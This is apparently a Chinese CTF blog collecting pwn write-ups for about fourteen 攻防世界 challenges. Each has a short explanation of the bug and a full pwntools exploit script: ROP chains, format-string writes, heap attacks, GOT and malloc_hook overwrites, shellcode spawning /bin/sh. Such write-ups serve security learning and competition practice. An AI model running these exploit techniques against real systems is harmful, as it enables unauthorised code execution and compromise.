LYYL' Blog

勿忧拂意,勿喜快心,勿恃久安,勿惮初难。

0%

攻防世界

Recho

题目很明显的栈溢出,但是while循环中的read返回值一直为真。因此我们只能使用shutdown结束文件流。但是这样一来我们只有一次写入的机会。

写入的方法是利用alarm函数中的syscallalarm起始地址加5的位置)通过系统调用号实现调用open,接着利用read,write函数完成flag的输出,程序中已经存在flag的字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.log_level = "debug"
elf = ELF("./Recho")
debug = 0
if debug:
p = process(["./Recho"])
gdb.attach(p)

else:
p = remote("111.198.29.45", 59593)


read_got = elf.got['read']
read_plt = elf.plt['read']
write_got = elf.got['write']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']

pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006fe
main_address = 0x400791
flag_address = 0x601058
pop_rax = 0x4006fc
add_rdi_al = 0x40070d


p.recvuntil("server!")
base = 'a'*0x30+'b'*0x8
payload = base + p64(pop_rdi) + p64(alarm_got) + p64(pop_rax) + p64(5) + p64(add_rdi_al)
payload += p64(pop_rdi) + p64(flag_address) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(pop_rax) + p64(2) + p64(alarm_plt)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(elf.bss(0)) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(read_plt)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(elf.bss(0)) + p64(0) + p64(pop_rdx) + p64(0x40) + p64(write_plt)
payload += p64(0)
num = str(len(payload)) + "\n"
num += 'c'*(0x10-len(num))
p.send(num)
p.send(payload)
p.shutdown()
p.interactive()

format2

auth函数中存在4字节溢出,可以控制ebp。劫持ebpbss,然后控制esp,最终控制eip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import base64

context.log_level = "debug"
elf = ELF("./format2")
debug = 0
if debug:
p = process(["./format2"])
gdb.attach(p)

else:
p = remote("111.198.29.45", 56178)


p.recvuntil("Authenticate :")
system_address = 0x8049284
input_address = 0x0811EB40

payload = 'a'*0x4 + p32(system_address) + p32(input_address)
payload = base64.b64encode(payload)

print payload

p.sendline(payload)
p.interactive()

secret_file

这是一个典型的栈溢出,主要是绕过sha256的验证。这里可以直接覆盖程序中保存的sha256的数值,同时覆盖popen需要执行的指令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level = "debug"
elf = ELF("./secret_file")
debug = 0
if debug:
p = process(["./secret_file"])
gdb.attach(p)

else:
p = remote("111.198.29.45", 55193)


padding = 'a'*0x100
payload = padding + "cat flag.txt;".ljust(0x1b, " ") + hashlib.sha256(padding).hexdigest()

p.sendline(payload)
p.interactive()

note_service2

crete_note的时候数组会下标越界,因此可以覆盖got表中函数的地址为新申请的堆块的地址,而程序堆栈可执行,因此可以执行自己编写的shellcode。但是每一个堆块最多写7字节大小的shellcode,因此在shellcode的结尾用到了jmp函数进行跳转以保证shellcode的连续执行。

覆盖的最佳函数是atoi函数,因为我们可以输入参数/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./note_service2")
debug = 0
if debug:
p = process(["./note_service2"])
gdb.attach(p)

else:
p = remote("111.198.29.45", 53665)

jmp_code = "\xeb\x19"
shellcode1 = asm("xor rax,rax").ljust(5, "\x90") + jmp_code
shellcode2 = asm("mov eax,0x3b").ljust(5, "\x90") + jmp_code
shellcode3 = asm("xor rsi,rsi").ljust(5, "\x90") + jmp_code
shellcode4 = asm("xor rdx,rdx").ljust(5, "\x90") + jmp_code
shellcode5 = asm("syscall").ljust(5, "\x90") + jmp_code


def create_note(index, size, content):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("index:")
p.sendline(str(index))
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("content:")
p.send(content)


def del_note(index):
p.recvuntil("choice>> ")
p.sendline("4")
p.recvuntil("index:")
p.sendline(str(index))


create_note(0, 8, shellcode1)
create_note(1, 8, shellcode2)
create_note(2, 8, shellcode3)
create_note(3, 8, shellcode4)
create_note(4, 8, shellcode5)

del_note(0)
create_note(-8, 8, shellcode1)
p.recvuntil("choice>> ")
p.sendline("/bin/sh")
p.interactive()

Noleak

存在Doublefree,UAF。可以使用unsorted bin attackbss段中写入一个libc address,使用其0x7f字段进行下一个chunk分配的构建和malloc hook地址的使用。使用fastbin attackchunk分配到bss段,写入list起始地址和libc address的地址。将malloc hook改写为list的起始地址,将list覆写为shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./noleak")
debug = 0
if debug:
p = process(["./noleak"])
gdb.attach(p, "b *0x4009B6")

else:
p = remote("111.198.29.45", 54442)


def create(size, data):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(data)


def update(index, size, data):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(data)


def delete(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))


list_address = 0x601040
create(0x80, "1212")
create(0x60, "1212")
create(0x8, "2112")
delete(0)
update(0, 0x10, p64(0) + p64(list_address+0x20))
create(0x80, "1212")

delete(1)
update(1, 0x8, p64(list_address + 0x30-0x3))
create(0x60, "1212")
create(0x60, "\x00"*3 + p64(list_address) + p64(list_address + 0x30))
update(9, 0x1, "\x10")
payload = asm(shellcraft.sh())
update(6, 0x8, p64(list_address))
update(8, len(payload), payload)
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(0x10))
p.interactive()

supermarket

在更改commodity描述的时候未更新size,但是更新了堆大小,因此造成堆溢出,我们可以修改下一个commoditydes指针,从而造成任意的内存读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context.log_level = "debug"
elf = ELF("./supermarket")
debug = 0
if debug:
p = process(["./supermarket"])
gdb.attach(p, "b *0x08048F05")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
one_gadget = 0x0

else:
p = remote("111.198.29.45", 39332)
libc = ELF("./supermarket_libc.so.6")
one_gadget = 0x0


def add_commodity(name, price, des_size, des):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("price:")
p.sendline(str(price))
p.recvuntil("descrip_size:")
p.sendline(str(des_size))
p.recvuntil("description:")
p.sendline(des)


def del_commodity(name):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("name:")
p.sendline(name)


def list_commodity():
p.recvuntil("choice>> ")
p.sendline("3")


def change_price(name, price):
p.recvuntil("choice>> ")
p.sendline("4")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("rise in:")
p.sendline(price)


def change_des(name, des_size, des):
p.recvuntil("choice>> ")
p.sendline("5")
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("descrip_size:")
p.sendline(str(des_size))
p.recvuntil("description:")
p.sendline(des)

puts_got = elf.got['puts']
add_commodity("1", 1, "256", "1")
change_des("1", "8", "1")
add_commodity("2", 2, "8", "1")
payload = "1"*0x8 + p32(0) + p32(0x21) + "2".ljust(16, "\x00") + p32(0x2) + p32(0x8) + p32(puts_got)
change_des("1", "8", payload)
list_commodity()
p.recvuntil("2")
p.recvuntil("des.")
libc.address = u32(p.recv(4)) - libc.symbols['puts']
print "libc address", hex(libc.address)
system_address = libc.symbols['system']

free_got = elf.got['free']
payload = "1"*0x8 + p32(0) + p32(0x21) + "2".ljust(16, "\x00") + p32(0x2) + p32(0x8) + p32(free_got)
change_des("1", "8", payload)
change_des("2", "8", p32(system_address))
change_des("1", "8", "/bin/sh\x00")
del_commodity("1")
p.interactive()

Easy_pwn

snprintf中存在格式化字符串漏洞,输入输出会覆盖格式化字符串从而造成任意内存读写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.log_level = "debug"
elf = ELF("./easy_pwn")
debug = 0
if debug:
p = process(["./easy_pwn"])
gdb.attach(p)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

else:
p = remote("111.198.29.45", 54031)
libc = ELF("./easy_pwn_libc.so.6")


def str_format(payload):
p.sendlineafter("Input Your Code:", "1")
p.sendafter("WHCTF2017:", payload)


p.recvuntil("Your Code:")
p.sendline("2")
p.recvuntil("Your Name:")
p.sendline("/bin/sh\x00")

payload = "a" * 0x3e8 + "bb" + "%397$p"
str_format(payload)
p.recvuntil("0x")
libc.address = int(p.recvline().strip(), 16) - libc.symbols['__libc_start_main'] - 240
system_address = libc.symbols['system']

print "system address", hex(system_address)
print "libc address", hex(libc.address)

payload = "a" * 0x3e8 + "bb" + "%389$p"
str_format(payload)
p.recvuntil("0x")
code_base = int(p.recvline().strip(), 16) - 0xcf9
print "code base", hex(code_base)
free_got = elf.got['free'] + code_base
print "free got address", hex(free_got)

system_address_str = hex(system_address)[2:]
payload = 'a' * 0x3e8 + ("bb%" + str(int(system_address_str[-8:-4], 16) - (0x3fe)) + "c%133$hn").ljust(16, "a") + p64(
free_got + 2)
str_format(payload)

print "recv", p.recv()

payload = 'a' * 0x3e8 + ("bb%" + str(int(system_address_str[-4:], 16) - (0x3fe)) + "c%133$hn").ljust(16, "a") + p64(
free_got)
str_format(payload)

p.recvuntil("Your Code:")
p.sendline("2")
p.recvuntil("Your Name:")
p.sendline("/bin/sh\x00")
p.interactive()

echo_back

可以注意到在echo_back函数中存在明显的格式化字符串漏洞,可以造成任意地址读写,但是字符限制为7。因此采用覆盖IO_stdin结构体中的IO_buf_base的方法来绕过字符数量的限制,将IO_buf_base的最低位覆盖为\x00指向结构体的IO_write_base字段,通过IO_read_ptr=IO_buf_base使得我们可以改写stdin结构体,覆盖IO_buf_basereturn的地址,从而getshell

这里需要注意的是只有当IO_read_ptr>=IO_read_end的时候才会将IO_read_ptr赋值为IO_buf_base,因此在覆盖完毕buf_base之后,需要通过set_name中的getchar函数来将IO_read_ptr补充到=IO_read_end的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

# context.log_level = "debug"
elf = ELF("./echo_back")
debug = 0
if debug:
p = process(["./echo_back"])
gdb.attach(p)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
one_gadget = 0x45216

else:
p = remote("111.198.29.45", 57422)
libc = ELF("./echo_back_libc.so.6")
one_gadget = 0x45216


def set_name(name):
p.recvuntil("choice>> ")
p.sendline("1")
p.recvuntil("name:")
p.send(name)


def echo_back(length, form_str):
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.sendline(str(length))
p.sendline(form_str)


def quit():
p.recvuntil("choice>> ")
p.sendline("3")


payload = "%12$p"
echo_back(6, payload)
p.recvuntil("say:")
main_ret_address = int(p.recvline().strip(), 16) + 0x8
print "main ret address", hex(main_ret_address)

payload = "%13$p"
echo_back(6, payload)
p.recvuntil("say:")
elf_base = int(p.recvline().strip(), 16) - 0xd08
print "elf base", hex(elf_base)

payload = "%19$p"
echo_back(6, payload)
p.recvuntil("say:")
libc.address = int(p.recvline().strip(), 16) - (0x7ffff7a2d830 - 0x7ffff7a0d000)
print "libc address", hex(libc.address)
stdin_address = libc.symbols['_IO_2_1_stdin_']
print "stdin address", hex(stdin_address)
one_gadget = one_gadget + libc.address
system_address = libc.symbols['system']
bin_sh_address = libc.search("/bin/sh\x00").next()

set_name(p64(stdin_address + 0x38))
echo_back("7", "%16$hhn")

payload = p64(stdin_address + 0x83) * 3 + p64(main_ret_address) + p64(main_ret_address + 0x8 * 3)
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.send(payload)
p.sendline("")

for index in range(0x28-1):
print index
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.sendline("")
time.sleep(0.5)

pop_rdi = 0xd93 + elf_base
payload = p64(pop_rdi) + p64(bin_sh_address) + p64(system_address)
p.recvuntil("choice>> ")
p.sendline("2")
p.recvuntil("length:")
p.send(payload)
p.sendline("")

quit()
p.interactive()

dubblesort

存在很明显的栈溢出和%s泄露地址,这里采用scanf+,-号的特性,绕过canary。覆盖返回地址。

这里需要注意的是题目给出的libc.so与本机运行的不同,因此在泄露libc地址的时候需要将data段的偏移加上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

context.log_level = "debug"
elf = ELF("./dubblesort")
debug = 0
if debug:
p = process(["./dubblesort"])
gdb.attach(p)
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
one_gadget = 0x0

else:
p = remote("111.198.29.45", 36442)
# libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc = ELF("./dubblesort_libc_32.so.6")
one_gadget = 0x0


p.recvuntil("name :")
p.send("1"*4*7)
p.recvuntil("1"*4*7)
libc.address = u32(p.recv(4)) - (0xf7fb2244-0xf7e02000) + 0x2000
elf_base = u32(p.recv(4)) - 0x601
print "libc address", hex(libc.address)
print "elf base", hex(elf_base)
system_address = libc.symbols['system']
bin_sh_address = libc.search("/bin/sh\x00").next()

p.recvuntil("sort :")
p.sendline(str(0x23))

for i in range(0x17 + 1):
p.recvuntil("the {} number : ".format(str(i)))
p.sendline(str(i))
p.recvuntil("the {} number : ".format(str(0x18)))
p.sendline("+")

for i in range(0x19, 0x22):
p.recvuntil("the {} number : ".format(str(i)))
p.sendline(str(system_address))
p.recvuntil("the {} number : ".format(str(0x22)))
p.sendline(str(bin_sh_address))
p.recvuntil(str(bin_sh_address))
p.interactive()

rcalc

scanf%s没有做长度限制造成栈溢出和无限次的计算造成的堆溢出。通过堆溢出我们可以改写类canary值,从而使得栈溢出可以执行。

注意的是通过scanf输入payload因此不能存在0x10(\n),0x20(space)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import sys

context.log_level = "debug"
elf = ELF("./rcalc")
debug = 0
if debug:
p = process(["./rcalc"])
gdb.attach(p, "b *0x400ffd\nb *0x400F9F")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
one_gadget = 0x0

else:
p = remote("111.198.29.45", 59184)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# libc = ELF("./rcalc_libc.so.6")
one_gadget = 0x0


def set_canary(canary):
for _ in range(0x100 / 8):
p.sendlineafter("choice:", "1")
p.sendlineafter("integer: ", "0")
p.sendline("1")
p.sendlineafter("result?", "yes")
p.sendlineafter("choice:", "1")
p.sendlineafter("integer: ", "0")
p.sendline("0")
p.sendlineafter("result?", "yes")
p.sendlineafter("choice:", "1")
p.sendlineafter("integer: ", "1")
p.sendline(str(0x330))
p.sendlineafter("result?", "yes")
p.sendlineafter("choice:", "1")
p.sendlineafter("integer: ", "0")
p.sendline(str(canary))
p.sendlineafter("result?", "yes")


def quit():
p.sendlineafter("choice:", "5")


canary = 1
printf_plt = elf.plt['printf']
__libc_start_main_got = elf.got['__libc_start_main']
start_address = 0x401036
pop_rsi_r15 = 0x0000000000401121
pop_rdi = 0x0000000000401123
format_address = 0x401203
payload = "a" * 0x108 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(__libc_start_main_got) + p64(
pop_rsi_r15) + p64(format_address) * 2 + p64(printf_plt) + p64(start_address)
p.recvuntil("pls: ")
p.sendline(payload)
set_canary(canary)
quit()
libc.address = u64(p.recv(6).strip().ljust(8, "\x00")) - libc.symbols['__libc_start_main']
print "libc address", hex(libc.address)
system_address = libc.symbols['system']
bin_sh_address = libc.search("/bin/sh\x00").next()

payload = "a" * 0x108 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(bin_sh_address) + p64(system_address) + p64(
pop_rdi)
p.recvuntil("pls: ")
p.sendline(payload)
set_canary(canary)
quit()
time.sleep(1)
p.interactive()

反应釜开关控制

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level = "debug"
elf = ELF("./fanyingfu")
debug = 0
if debug:
p = process(["./fanyingfu"])
gdb.attach(p, "b *0x4007E6")


else:
p = remote("111.198.29.45", 42932)

shell_address = 0x4005F6
p.recvuntil("is:")
address = int(p.recvline().strip(), 16)
print "address", hex(address)
payload = "1"*0x200 + "2"*0x8 + p64(shell_address)
p.recvuntil(">")
p.sendline(payload)
p.interactive()

babyheap

存在典型的NULL-OFF-BY-ONE漏洞,我们可以利用这个漏洞构造堆交叉,进而泄露libc地址,然后利用fastbin attack覆盖malloc_hookone_gadget,最终依靠double free来执行one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context.log_level = "debug"
elf = ELF("./babyheap")
debug = 0
if debug:
p = process(["./babyheap"])
gdb.attach(p)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
one_gadget = 0xf1147

else:
p = remote("111.198.29.45", 34384)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# libc = ELF("./babyheap_libc_2.23.so")
one_gadget = 0xf1147


def create(size, data):
p.sendlineafter("choice :", "1")
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", data)


def delete(index):
p.sendlineafter("choice :", "2")
p.sendlineafter("Index:", str(index))


def show():
p.sendlineafter("choice :", "3")


create(0xf8, "0\n")
create(0x18, "1\n")
create(0x68, "2\n")
create(0xf8, "3\n")
create(0xf8, "4\n")
create(0x68, "5\n")

delete(2)
delete(3)
delete(0)
create(0xf8, "a"*0xf0 + p64(0x200+0x70+0x20))
delete(4)
create(0xf8, "0\n")
show()
p.recvuntil("1 : ")
main_arena_address = u64(p.recvline().strip().ljust(8, "\x00")) - 88
print "main arena address", hex(main_arena_address)
libc.address = main_arena_address - (libc.symbols['__malloc_hook'] + 0x10)
print "libc address", hex(libc.address)
system_address = libc.symbols['system']
print "system address", hex(system_address)
create(0xf8, p64(main_arena_address + 88)*2 + p64(0) + p64(0x71) + p64(main_arena_address-0x23)*2 + '\n')
create(0x68, "1\n")
one_gadget = one_gadget + libc.address
create(0x68, "a"*0x3 + p64(one_gadget) + "\n")
delete(0)
p.interactive()

实时数据监测

简单的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context.log_level = "debug"
elf = ELF("./shishishuju")
debug = 0
if debug:
p = process(["./shishishuju"])
gdb.attach(p, "b *0x080484E2")

else:
p = remote("111.198.29.45", 59226)


key_address = 0x0804A048
key_value = 0x2223322

payload = "%2c%22$hhn"
payload += "%32c%23$hhn"
payload += "%24$hhn"
payload += "%17c%25$hhn"
payload += "a"*((int(len(payload)/4) + 1)*4 - len(payload))
payload += p32(key_address + 3) + p32(key_address + 2) + p32(key_address) + p32(key_address + 1)
p.sendline(payload)
p.interactive()

notebook

sprintf的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.log_level = "debug"
elf = ELF("./notebook")
debug = 0
if debug:
p = process(["./notebook"])
gdb.attach(p, "set follow-fork-mode parent\nb *0x80486d3")

else:
p = remote("111.198.29.45", 36966)


__stack_chk_fail_got = elf.got['__stack_chk_fail']
main_address = 0x0804878D
printf_got = elf.got['printf']
system_got = 0x8048540

payload = "%{}c%32$hhn".format(str(0x40))
payload += "%{}c%33$hhn".format(str(0x85-0x40))
payload += "%{}c%34$hhn".format(str(0x87-0x85))
payload += "%{}c%35$hhn".format(str(0x8d-0x87))

payload += "a"*((int(len(payload)/4)+1)*4 - len(payload))
payload += p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(__stack_chk_fail_got + 1)
payload += p32(__stack_chk_fail_got)
# p.recvuntil("name?")
p.sendline(payload)
# p.recvuntil("name?")
p.sendline("/bin/sh")
p.interactive()

HMI流水灯

简单的栈溢出,要注意的是需要发送cat flag防止输出被淹没

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# context.log_level = "debug"
elf = ELF("./hmi")
debug = 0
if debug:
p = process(["./hmi"])
gdb.attach(p)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
one_gadget = 0x0

else:
p = remote("111.198.29.45", 48576)
libc = ELF("./hmi_libc_32.so.6")
one_gadget = 0x0


write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
gee_address = elf.symbols['gee']

p.recvuntil("\n\n")
payload = "a"*0x88 + "b"*0x4 + p32(write_plt) + p32(gee_address) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
libc.address = u32(p.recv(4)) - libc.symbols['write']
system_address = libc.symbols['system']
bin_sh_address = libc.search("/bin/sh").next()
print "system address", hex(system_address)
print "libc address", hex(libc.address)

payload = "a"*0x88 + "b"*0x4 + p32(system_address) + p32(gee_address) + p32(bin_sh_address)
p.sendline(payload)
p.sendline("cat flag")
p.interactive()

shell

栈溢出,覆盖filenameld.so.6的地址,我们在ld.so.6中寻找任意一个符合的用户名和密码即可login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = "debug"
elf = ELF("./shell")
debug = 0
if debug:
p = process(["./shell"])
gdb.attach(p)

else:
p = remote("111.198.29.45", 50009)


p.sendlineafter("$", "login")
p.sendlineafter("Username: ","test")
file_address = 0x400200
payload = "a"*(0x5c-0x18) + p64(file_address)
p.sendlineafter("Password: ", payload)
p.sendlineafter("failed!", "login")

p.sendlineafter("Username: ","relocation processing")
p.sendlineafter("Password: "," %s%s")
p.recvuntil("Authenticated!", "sh")
p.sendline("sh")
p.interactive()

# .rodata:000000000001C88A 0000001E C \nrelocation processing: %s%s\n